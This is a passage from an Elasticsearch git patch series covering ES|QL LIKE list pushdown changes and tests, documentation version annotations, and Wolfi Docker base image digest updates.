                             && refsBuilder.isEmpty()
-                            && translatable(exp, LucenePushdownPredicates.DEFAULT).finish() == TranslationAware.FinishedTranslatable.YES) {
+                            && translatable(exp, ctx).finish() == TranslationAware.FinishedTranslatable.YES) {
                             matches.add(exp);
                         }
                     }
                 }
                 if (matches.isEmpty() == false) {
-                    requestFilters.add(
-                        TRANSLATOR_HANDLER.asQuery(LucenePushdownPredicates.DEFAULT, Predicates.combineAnd(matches)).toQueryBuilder()
-                    );
+                    requestFilters.add(TRANSLATOR_HANDLER.asQuery(ctx, Predicates.combineAnd(matches)).toQueryBuilder());
                 }
             });
         });
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeComputeHandler.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeComputeHandler.java
index 0de272502e1c7..abf321f3564ea 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeComputeHandler.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeComputeHandler.java
@@ -116,7 +116,7 @@ void startComputeOnDataNodes(
             esqlExecutor,
             parentTask,
             originalIndices,
-            PlannerUtils.canMatchFilter(dataNodePlan),
+            PlannerUtils.canMatchFilter(clusterService.state().getMinTransportVersion(), dataNodePlan),
             clusterAlias,
             configuration.allowPartialResults(),
             maxConcurrentNodesPerCluster == null ? -1 : maxConcurrentNodesPerCluster,
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SingleValueQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SingleValueQuery.java
index 912af6663a9dc..753b36aa5e3d9 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SingleValueQuery.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/querydsl/query/SingleValueQuery.java
@@ -225,6 +225,10 @@ protected final org.apache.lucene.search.Query simple(MappedFieldType ft, Search
             builder.add(rewrite, BooleanClause.Occur.FILTER);
             return builder.build();
         }
+
+        public String fieldName() {
+            return field;
+        }
     }
 
     /**
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeListTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeListTests.java
index cac1692f1a86e..0de1a098507fa 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeListTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/WildcardLikeListTests.java
@@ -11,6 +11,9 @@
 import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
 
 import org.apache.lucene.util.BytesRef;
+import org.elasticsearch.TransportVersion;
+import org.elasticsearch.xpack.esql.EsqlTestUtils;
+import org.elasticsearch.xpack.esql.capabilities.TranslationAware;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.FoldContext;
 import org.elasticsearch.xpack.esql.core.expression.Literal;
@@ -22,6 +25,7 @@
 import org.elasticsearch.xpack.esql.expression.function.FunctionName;
 import org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier;
 import org.elasticsearch.xpack.esql.expression.function.scalar.string.regex.WildcardLikeList;
+import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -96,4 +100,20 @@ static Expression buildWildcardLikeList(Source source, List<Expression> args) {
                 ? new WildcardLikeList(source, expression, wildcardPatternList)
                 : new WildcardLikeList(source, expression, wildcardPatternList, false));
     }
+
+    public void testNotPushableOverCanMatch() {
+        TranslationAware translatable = (TranslationAware) buildFieldExpression(testCase);
+        assertThat(
+            translatable.translatable(LucenePushdownPredicates.forCanMatch(TransportVersion.current())).finish(),
+            equalTo(TranslationAware.FinishedTranslatable.NO)
+        );
+    }
+
+    public void testPushable() {
+        TranslationAware translatable = (TranslationAware) buildFieldExpression(testCase);
+        assertThat(
+            translatable.translatable(LucenePushdownPredicates.from(new EsqlTestUtils.TestSearchStats())).finish(),
+            equalTo(TranslationAware.FinishedTranslatable.YES)
+        );
+    }
 }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/FilterTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/FilterTests.java
index 04d2cac31af55..69060f9cee0f2 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/FilterTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/FilterTests.java
@@ -7,6 +7,7 @@
 
 package org.elasticsearch.xpack.esql.planner;
 
+import org.elasticsearch.TransportVersion;
 import org.elasticsearch.common.bytes.BytesReference;
 import org.elasticsearch.common.io.stream.ByteBufferStreamInput;
 import org.elasticsearch.common.io.stream.BytesStreamOutput;
@@ -15,6 +16,7 @@
 import org.elasticsearch.common.logging.LoggerMessageFormat;
 import org.elasticsearch.index.IndexMode;
 import org.elasticsearch.index.query.AbstractQueryBuilder;
+import org.elasticsearch.index.query.AutomatonQueryBuilder;
 import org.elasticsearch.index.query.BoolQueryBuilder;
 import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.test.ESTestCase;
@@ -45,6 +47,7 @@
 import java.io.UncheckedIOException;
 import java.util.List;
 import java.util.Map;
+import java.util.Set;
 
 import static java.util.Arrays.asList;
 import static org.elasticsearch.index.query.QueryBuilders.rangeQuery;
@@ -65,6 +68,7 @@ public class FilterTests extends ESTestCase {
 
     // use a field that already exists in the mapping
     private static final String EMP_NO = "emp_no";
+    private static final String LAST_NAME = "last_name";
     private static final String OTHER_FIELD = "salary";
 
     private static EsqlParser parser;
@@ -104,7 +108,7 @@ public void testTimestampRequestFilterNoQueryFilter() {
             |WHERE {} > 10
             """, OTHER_FIELD), restFilter);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         assertEquals(restFilter.toString(), filter.toString());
     }
 
@@ -117,7 +121,7 @@ public void testTimestampNoRequestFilterQueryFilter() {
             """, EMP_NO, value);
         var plan = plan(query, null);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         var expected = singleValueQuery(query, unscore(rangeQuery(EMP_NO).gt(value)), EMP_NO, ((SingleValueQuery.Builder) filter).source());
         assertEquals(expected.toString(), filter.toString());
     }
@@ -132,7 +136,7 @@ public void testTimestampRequestFilterQueryFilter() {
             """, EMP_NO, value);
         var plan = plan(query, restFilter);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         var builder = ((BoolQueryBuilder) filter).filter().get(1);
         var queryFilter = singleValueQuery(
             query,
@@ -155,7 +159,7 @@ public void testTimestampRequestFilterQueryFilterWithConjunction() {
             """, EMP_NO, lowValue, EMP_NO, highValue);
         var plan = plan(query, restFilter);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         var musts = ((BoolQueryBuilder) ((BoolQueryBuilder) filter).filter().get(1)).must();
         var left = singleValueQuery(
             query,
@@ -184,7 +188,7 @@ public void testTimestampRequestFilterQueryFilterWithDisjunctionOnDifferentField
             |WHERE {} > {} OR {} < {}
             """, OTHER_FIELD, lowValue, EMP_NO, highValue), restFilter);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         var expected = restFilter;
         assertEquals(expected.toString(), filter.toString());
     }
@@ -200,7 +204,7 @@ public void testTimestampRequestFilterQueryFilterWithDisjunctionOnSameField() {
             """, EMP_NO, lowValue, EMP_NO, highValue);
         var plan = plan(query, restFilter);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         var shoulds = ((BoolQueryBuilder) ((BoolQueryBuilder) filter).filter().get(1)).should();
         var left = singleValueQuery(
             query,
@@ -231,7 +235,7 @@ public void testTimestampRequestFilterQueryFilterWithMultiConjunction() {
             """, EMP_NO, lowValue, OTHER_FIELD, eqValue, EMP_NO, highValue);
         var plan = plan(query, restFilter);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         var musts = ((BoolQueryBuilder) ((BoolQueryBuilder) filter).filter().get(1)).must();
         var left = singleValueQuery(
             query,
@@ -265,7 +269,7 @@ public void testTimestampRequestFilterQueryMultipleFilters() {
             """, EMP_NO, lowValue, EMP_NO, eqValue, EMP_NO, highValue);
         var plan = plan(query, restFilter);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         var builder = ((BoolQueryBuilder) filter).filter().get(1);
         var queryFilter = singleValueQuery(
             query,
@@ -286,7 +290,7 @@ public void testTimestampOverriddenFilterFilter() {
             |WHERE {} > {}
             """, EMP_NO, OTHER_FIELD, EMP_NO, eqValue), null);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         assertThat(filter, nullValue());
     }
 
@@ -298,7 +302,7 @@ public void testTimestampAsFunctionArgument() {
             |WHERE to_int(to_string({})) == {}
             """, EMP_NO, eqValue), null);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         assertThat(filter, nullValue());
     }
 
@@ -310,10 +314,42 @@ public void testTimestampAsFunctionArgumentInsideExpression() {
             |WHERE to_int(to_string({})) + 987 == {}
             """, EMP_NO, eqValue), null);
 
-        var filter = filterQueryForTransportNodes(plan);
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
         assertThat(filter, nullValue());
     }
 
+    public void testLikeList() {
+        String query = LoggerMessageFormat.format(null, """
+             FROM test
+            |WHERE {} LIKE ("a+", "b+")
+            """, LAST_NAME);
+        var plan = plan(query, null);
+
+        var filter = filterQueryForTransportNodes(TransportVersion.current(), plan);
+        assertNull(filter);
+    }
+
+    /**
+     * Tests that we <strong>can</strong> extract a filter if the transport
+     * version is {@code null}. This isn't run in the "filter for transport nodes"
+     * code path. Instead, it's in the "filter for the local node" path, but
+     * we can get a quick test of that by calling this setup.
+     */
+    public void testLikeListNullTransportVersion() {
+        String query = LoggerMessageFormat.format(null, """
+             FROM test
+            |WHERE {} LIKE ("a+", "b+")
+            """, LAST_NAME);
+        var plan = plan(query, null);
+
+        SingleValueQuery.Builder filter = (SingleValueQuery.Builder) filterQueryForTransportNodes(null, plan);
+        assertEquals(LAST_NAME, filter.fieldName());
+        AutomatonQueryBuilder innerFilter = (AutomatonQueryBuilder) filter.next();
+        assertEquals(LAST_NAME, innerFilter.fieldName());
+        assertEquals("""
+            LIKE("a+", "b+"), caseInsensitive=false""", innerFilter.description());
+    }
+
     /**
      * Ugly hack to create a QueryBuilder for SingleValueQuery.
      * For some reason however the queryName is set to null on range queries when deserializing.
@@ -360,8 +396,8 @@ private QueryBuilder restFilterQuery(String field) {
         return unscore(rangeQuery(field).lt("2020-12-34"));
     }
 
-    private QueryBuilder filterQueryForTransportNodes(PhysicalPlan plan) {
-        return PlannerUtils.detectFilter(plan, EMP_NO::equals);
+    private QueryBuilder filterQueryForTransportNodes(TransportVersion minTransportVersion, PhysicalPlan plan) {
+        return PlannerUtils.detectFilter(minTransportVersion, plan, Set.of(EMP_NO, LAST_NAME)::contains);
     }
 
     @Override

From cef1b270b619a615a701aef19f14f979dfc99223 Mon Sep 17 00:00:00 2001
From: Julian Kiryakov <julian.kiryakov@elastic.co>
Date: Tue, 1 Jul 2025 10:23:47 -0400
Subject: [PATCH 033/299] [DOCS][ESQL] Add versions to the docs for LIKE LIST
 (#130299) (#130388)

Clarifies the version applicability for new LIKE function alternative syntax with a list of patterns, added in #129170
---
 .../operators/detailedDescription/like.md       | 17 ++++++++++++-----
 .../esql/kibana/definition/operators/like.json  |  2 +-
 .../kibana/definition/operators/not like.json   |  2 +-
 .../esql/kibana/docs/operators/like.md          |  3 +--
 .../esql/kibana/docs/operators/not like.md      |  3 +--
 .../scalar/string/regex/WildcardLike.java       | 15 +++++++++++----
 6 files changed, 27 insertions(+), 15 deletions(-)

diff --git a/docs/reference/query-languages/esql/_snippets/operators/detailedDescription/like.md b/docs/reference/query-languages/esql/_snippets/operators/detailedDescription/like.md
index d000d79e0c433..0e9cff4fcefe5 100644
--- a/docs/reference/query-languages/esql/_snippets/operators/detailedDescription/like.md
+++ b/docs/reference/query-languages/esql/_snippets/operators/detailedDescription/like.md
@@ -10,17 +10,24 @@ ROW message = "foo * bar"
 ```
 
 
+To reduce the overhead of escaping, we suggest using triple quotes strings `"""`
+
 ```esql
-ROW message = "foobar"
-| WHERE message like ("foo*", "bar?")
+ROW message = "foo * bar"
+| WHERE message LIKE """foo \* bar"""
 ```
 
 
-To reduce the overhead of escaping, we suggest using triple quotes strings `"""`
+```{applies_to}
+stack: ga 9.1
+serverless: ga
+```
+Both a single pattern or a list of patterns are supported. If a list of patterns is provided,
+the expression will return true if any of the patterns match.
 
 ```esql
-ROW message = "foo * bar"
-| WHERE message LIKE """foo \* bar"""
+ROW message = "foobar"
+| WHERE message like ("foo*", "bar?")
 ```
 
 
diff --git a/docs/reference/query-languages/esql/kibana/definition/operators/like.json b/docs/reference/query-languages/esql/kibana/definition/operators/like.json
index 49a455421a17e..97c88faa6e8fe 100644
--- a/docs/reference/query-languages/esql/kibana/definition/operators/like.json
+++ b/docs/reference/query-languages/esql/kibana/definition/operators/like.json
@@ -3,7 +3,7 @@
   "type" : "operator",
   "operator" : "LIKE",
   "name" : "like",
-  "description" : "Use `LIKE` to filter data based on string patterns using wildcards. `LIKE`\nusually acts on a field placed on the left-hand side of the operator, but it can\nalso act on a constant (literal) expression. The right-hand side of the operator\nrepresents the pattern or a list of patterns. If a list of patterns is provided,\nthe expression will return true if any of the patterns match.\n\nThe following wildcard characters are supported:\n\n* `*` matches zero or more characters.\n* `?` matches one character.",
+  "description" : "Use `LIKE` to filter data based on string patterns using wildcards. `LIKE`\nusually acts on a field placed on the left-hand side of the operator, but it can\nalso act on a constant (literal) expression. The right-hand side of the operator\nrepresents the pattern.\n\nThe following wildcard characters are supported:\n\n* `*` matches zero or more characters.\n* `?` matches one character.",
   "signatures" : [
     {
       "params" : [
diff --git a/docs/reference/query-languages/esql/kibana/definition/operators/not like.json b/docs/reference/query-languages/esql/kibana/definition/operators/not like.json
index e24559de82f59..8fbaf03df75df 100644
--- a/docs/reference/query-languages/esql/kibana/definition/operators/not like.json	
+++ b/docs/reference/query-languages/esql/kibana/definition/operators/not like.json	
@@ -3,7 +3,7 @@
   "type" : "operator",
   "operator" : "not like",
   "name" : "not_like",
-  "description" : "Use `LIKE` to filter data based on string patterns using wildcards. `LIKE`\nusually acts on a field placed on the left-hand side of the operator, but it can\nalso act on a constant (literal) expression. The right-hand side of the operator\nrepresents the pattern or a list of patterns. If a list of patterns is provided,\nthe expression will return true if any of the patterns match.\n\nThe following wildcard characters are supported:\n\n* `*` matches zero or more characters.\n* `?` matches one character.",
+  "description" : "Use `LIKE` to filter data based on string patterns using wildcards. `LIKE`\nusually acts on a field placed on the left-hand side of the operator, but it can\nalso act on a constant (literal) expression. The right-hand side of the operator\nrepresents the pattern.\n\nThe following wildcard characters are supported:\n\n* `*` matches zero or more characters.\n* `?` matches one character.",
   "signatures" : [
     {
       "params" : [
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/like.md b/docs/reference/query-languages/esql/kibana/docs/operators/like.md
index ff351eb71bd9a..52bfeb6f3ff95 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/like.md
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/like.md
@@ -4,8 +4,7 @@
 Use `LIKE` to filter data based on string patterns using wildcards. `LIKE`
 usually acts on a field placed on the left-hand side of the operator, but it can
 also act on a constant (literal) expression. The right-hand side of the operator
-represents the pattern or a list of patterns. If a list of patterns is provided,
-the expression will return true if any of the patterns match.
+represents the pattern.
 
 The following wildcard characters are supported:
 
diff --git a/docs/reference/query-languages/esql/kibana/docs/operators/not like.md b/docs/reference/query-languages/esql/kibana/docs/operators/not like.md
index 155eb473c2d93..6164a03110755 100644
--- a/docs/reference/query-languages/esql/kibana/docs/operators/not like.md	
+++ b/docs/reference/query-languages/esql/kibana/docs/operators/not like.md	
@@ -4,8 +4,7 @@
 Use `LIKE` to filter data based on string patterns using wildcards. `LIKE`
 usually acts on a field placed on the left-hand side of the operator, but it can
 also act on a constant (literal) expression. The right-hand side of the operator
-represents the pattern or a list of patterns. If a list of patterns is provided,
-the expression will return true if any of the patterns match.
+represents the pattern.
 
 The following wildcard characters are supported:
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLike.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLike.java
index d7d1973fceda1..7f350243dc220 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLike.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLike.java
@@ -38,8 +38,7 @@ public class WildcardLike extends RegexMatch<WildcardPattern> {
         Use `LIKE` to filter data based on string patterns using wildcards. `LIKE`
         usually acts on a field placed on the left-hand side of the operator, but it can
         also act on a constant (literal) expression. The right-hand side of the operator
-        represents the pattern or a list of patterns. If a list of patterns is provided,
-        the expression will return true if any of the patterns match.
+        represents the pattern.
 
         The following wildcard characters are supported:
 
@@ -51,11 +50,19 @@ also act on a constant (literal) expression. The right-hand side of the operator
 
         <<load-esql-example, file=string tag=likeEscapingSingleQuotes>>
 
-        <<load-esql-example, file=where-like tag=likeListDocExample>>
-
         To reduce the overhead of escaping, we suggest using triple quotes strings `\"\"\"`
 
         <<load-esql-example, file=string tag=likeEscapingTripleQuotes>>
+
+        ```{applies_to}
+        stack: ga 9.1
+        serverless: ga
+        ```
+        Both a single pattern or a list of patterns are supported. If a list of patterns is provided,
+        the expression will return true if any of the patterns match.
+
+        <<load-esql-example, file=where-like tag=likeListDocExample>>
+
         """, operator = NAME, examples = @Example(file = "docs", tag = "like"))
     public WildcardLike(
         Source source,

From 856068354437e6280df8d661fe9e70b6e32190ea Mon Sep 17 00:00:00 2001
From: "elastic-renovate-prod[bot]"
 <174716857+elastic-renovate-prod[bot]@users.noreply.github.com>
Date: Wed, 2 Jul 2025 02:23:07 +1000
Subject: [PATCH 034/299] Update wolfi (versioned) (#130397)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR contains the following updates:

| Package | Type | Update | Change | |---|---|---|---| |
docker.elastic.co/wolfi/chainguard-base |  | digest | `3d19648` ->
`5e3d0d5` | | docker.elastic.co/wolfi/chainguard-base | final | digest |
`3d19648` -> `5e3d0d5` | | docker.elastic.co/wolfi/chainguard-base |
stage | digest | `3d19648` -> `5e3d0d5` | |
docker.elastic.co/wolfi/chainguard-base-fips |  | digest | `68e0781` ->
`048914a` | | docker.elastic.co/wolfi/chainguard-base-fips | final |
digest | `68e0781` -> `048914a` | |
docker.elastic.co/wolfi/chainguard-base-fips | stage | digest |
`68e0781` -> `048914a` |

---

### Configuration

📅 **Schedule**: Branch creation - "after 1pm on tuesday" (UTC),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once
you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate
Bot](https://redirect.github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiOS4xIiwibGFiZWxzIjpbIjpEZWxpdmVyeS9QYWNrYWdpbmciLCI+bm9uLWlzc3VlIiwiVGVhbTpEZWxpdmVyeSIsImF1dG8tbWVyZ2Utd2l0aG91dC1hcHByb3ZhbCJdfQ==-->
---
 .../docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile   | 4 ++--
 distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile   | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile b/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
index 75acc7f59c7a5..5c4cdf82ce425 100644
--- a/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
+++ b/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
@@ -24,7 +24,7 @@
 # Extract Elasticsearch artifact
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:68e0781cd592beda39880428985d5fecca1cf2abb18365da73bf1f7ebd994974 AS builder
+FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:048914a5a4b307217c46e47e6f28d9e4e2a6f6d9055278500c8447ca487a037f AS builder
 
 # Install required packages to extract the Elasticsearch distribution
 RUN <%= retry.loop(package_manager, "export DEBIAN_FRONTEND=noninteractive && ${package_manager} update && ${package_manager} update && ${package_manager} add --no-cache curl") %>
@@ -103,7 +103,7 @@ WORKDIR /usr/share/elasticsearch/config
 # Add entrypoint
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:68e0781cd592beda39880428985d5fecca1cf2abb18365da73bf1f7ebd994974
+FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:048914a5a4b307217c46e47e6f28d9e4e2a6f6d9055278500c8447ca487a037f
 
 RUN <%= retry.loop(package_manager,
           "export DEBIAN_FRONTEND=noninteractive && \n" +
diff --git a/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile b/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
index edb6fd2b3e265..2cbdd761728c8 100644
--- a/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
+++ b/distribution/docker/src/docker/dockerfiles/wolfi/Dockerfile
@@ -24,7 +24,7 @@
 # Extract Elasticsearch artifact
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:3d19648819612728a676ab4061edfb3283bd7117a22c6c4479ee1c1d51831832 AS builder
+FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:5e3d0d5d6e3470b57d2f39e72418003f17027c98ee47bcf953225e6cc1be7ba2 AS builder
 
 # Install required packages to extract the Elasticsearch distribution
 RUN <%= retry.loop(package_manager, "export DEBIAN_FRONTEND=noninteractive && ${package_manager} update && ${package_manager} update && ${package_manager} add --no-cache curl") %>
@@ -79,7 +79,7 @@ RUN sed -i -e 's/ES_DISTRIBUTION_TYPE=tar/ES_DISTRIBUTION_TYPE=docker/' bin/elas
 # Add entrypoint
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:3d19648819612728a676ab4061edfb3283bd7117a22c6c4479ee1c1d51831832
+FROM docker.elastic.co/wolfi/chainguard-base:latest@sha256:5e3d0d5d6e3470b57d2f39e72418003f17027c98ee47bcf953225e6cc1be7ba2
 
 RUN <%= retry.loop(package_manager,
           "export DEBIAN_FRONTEND=noninteractive && \n" +

From c772528860cdbf9f98a1f93d4df03b949f1fc877 Mon Sep 17 00:00:00 2001
From: Liam Thompson <32779855+leemthompo@users.noreply.github.com>
Date: Tue, 1 Jul 2025 18:29:58 +0200
Subject: [PATCH 035/299] [DOCS] Update esql docs readme with 9.x+ version
 differentiation guidance (#130340) (#130400)

---
 docs/reference/query-languages/esql/README.md | 87 ++++++++++++++++++-
 1 file changed, 83 insertions(+), 4 deletions(-)

diff --git a/docs/reference/query-languages/esql/README.md b/docs/reference/query-languages/esql/README.md
index 8e0d1a3835d4b..67613be559289 100644
--- a/docs/reference/query-languages/esql/README.md
+++ b/docs/reference/query-languages/esql/README.md
@@ -105,16 +105,95 @@ To help differentiate between the static and generated content, the generated co
 % This is generated by ESQL's AbstractFunctionTestCase. Do no edit it. See ../README.md for how to regenerate it.
 ```
 
+## Version differentiation in Docs V3
+
+> [!IMPORTANT]
+> Starting with 9.0, we no longer publish separate documentation branches for every minor release (`9.0`, `9.1`, `9.2`, etc.). 
+> This means there won't be a different page for `9.1`, `9.2`, and so on. Instead, all changes landing in subsequent minor releases **will appear on the same page**.
+
+Because we now publish just one docs set off of the `main` branch, we use the [`applies_to` metadata](https://elastic.github.io/docs-builder/syntax/applies/) to differentiate features and their availability across different versions. This is a [cumulative approach](https://elastic.github.io/docs-builder/contribute/#cumulative-docs): instead of creating separate pages for each product and release, we update a **single page** with product- and version-specific details over time.
+
+`applies_to` allows us to clearly communicate when features are introduced, when they transition from preview to GA, and which versions support specific functionality.
+
+This metadata accepts a lifecycle and an optional version.
+
+### Functions and operators
+
+Use the `@FunctionAppliesTo` annotation within the `@FunctionInfo` annotation on function and operator classes to specify the lifecycle and version for functions and operators.
+
+For example, to indicate that a function is in technical preview and applies to version 9.0.0, you would use:
+
+```java
+@FunctionInfo(
+    returnType = "boolean",
+    appliesTo = {
+        @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.PREVIEW, version = "9.0.0")
+    },
+    ...
+)
+```
+
+When a feature evolves from preview in `9.0` to GA in `9.2`, add a new entry alongside the existing preview entry and remove the `preview = true` boolean:
+
+```java
+@FunctionInfo(
+    returnType = "boolean",
+    preview = false, //  the preview boolean can be removed (or flipped to false) when the function becomes GA
+    appliesTo = {
+        @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.PREVIEW, version = "9.0.0"),
+        @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.GA, version = "9.2.0")
+    },
+    ...
+)
+```
+
+We updated [`DocsV3Support.java`](https://github.com/elastic/elasticsearch/blob/main/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/DocsV3Support.java) to generate the `applies_to` metadata correctly for functions and operators.
+
+### Inline `applies_to` metadata
+
+Use [inline annotations](https://elastic.github.io/docs-builder/syntax/applies/#inline-annotations) to specify `applies_to` metadata in descriptions, parameter lists, etc.
+
+For example, the second item in this list is in technical preview as of version 9.2:
+
+```markdown
+- Item 1
+- Item 2 {applies_to}`stack: preview 9.2.`
+```
+
+### Key rules
+
+1. **Use the `preview = true` boolean** for any tech preview feature - this is required for the Kibana inline docs
+   - **Remove `preview = true`** only when the feature becomes GA on serverless and is _definitely_ going GA in the next minor release
+2. **Never delete `appliesTo` entries** - only add new ones as features evolve from preview to GA
+3. **Use specific versions** (`9.0.0`, `9.1.0`) when known, or just `PREVIEW` without a version if timing is uncertain
+4. **Add `applies_to` to examples** where necessary
+
+> [!IMPORTANT]
+> We don't use `applies_to` in the legacy asciidoc system for 8.x and earlier versions.
+
+### Supported lifecycles
+
+- `PREVIEW` - Feature is in technical preview
+- `GA` - Feature is generally available  
+- `DEPRECATED` - Feature is deprecated and will be removed in a future release
+- `UNAVAILABLE` - Feature is not available in the current version, but may be available in future releases
+
+> [!NOTE] 
+> Unreleased version information is automatically sanitized in the docs build output. For example, say you specify `preview 9.3.0`: 
+> - Before `9.3.0` is released, the live documentation will display "Planned for a future release" instead of the specific version number. 
+>  - This will be updated automatically when the version is released.
+
 ## Tutorials
 
 ### Adding a new command
 
 When adding a new command, for example adding the `CHANGE_POINT` command, do the following:
 1. Create a new file in the `_snippets/commands/layout` directory with the name of the command, for example `change_point.md`.
-2. Add the content for the command to the file. See other files in this directory for examples.
-3. Add the command to the list in `_snippets/lists/processing-commands.md`.
-4. Add an include directive to the `commands/processing-commands.md` file to include the new command.
-5. Add tested examples to the `_snippets/commands/examples` directory. See below for details.
+2. Ensure to specify what versions the command applies to. See [Version differentiation in Docs V3](#version-differentiation-in-docs-v3) for details. [Example PR](https://github.com/elastic/elasticsearch/pull/130314/files#diff-0ab90b6202c5d9eeea75dc95a7cb71dc4d720230342718bff887816771a5a803R3-R6).
+3. Add the content for the command to the file. See other files in this directory for examples.
+4. Add the command to the list in `_snippets/lists/processing-commands.md`.
+5. Add an include directive to the `commands/processing-commands.md` file to include the new command.
+6. Add tested examples to the `_snippets/commands/examples` directory. See below for details.
 
 ### Adding examples to commands
 

From f505b373cb98950d676c95f07a6925eeb853253d Mon Sep 17 00:00:00 2001
From: Keith Massey <keith.massey@elastic.co>
Date: Tue, 1 Jul 2025 15:37:47 -0500
Subject: [PATCH 036/299] [9.1] Correctly handling data stream settings when
 component templates are used (#130394) (#130406)

---
 .../data_stream/240_data_stream_settings.yml  | 95 ++++++++++++++++++-
 .../metadata/MetadataDataStreamsService.java  | 19 ++--
 2 files changed, 100 insertions(+), 14 deletions(-)

diff --git a/modules/data-streams/src/yamlRestTest/resources/rest-api-spec/test/data_stream/240_data_stream_settings.yml b/modules/data-streams/src/yamlRestTest/resources/rest-api-spec/test/data_stream/240_data_stream_settings.yml
index ad09a06378c5e..12d038de77818 100644
--- a/modules/data-streams/src/yamlRestTest/resources/rest-api-spec/test/data_stream/240_data_stream_settings.yml
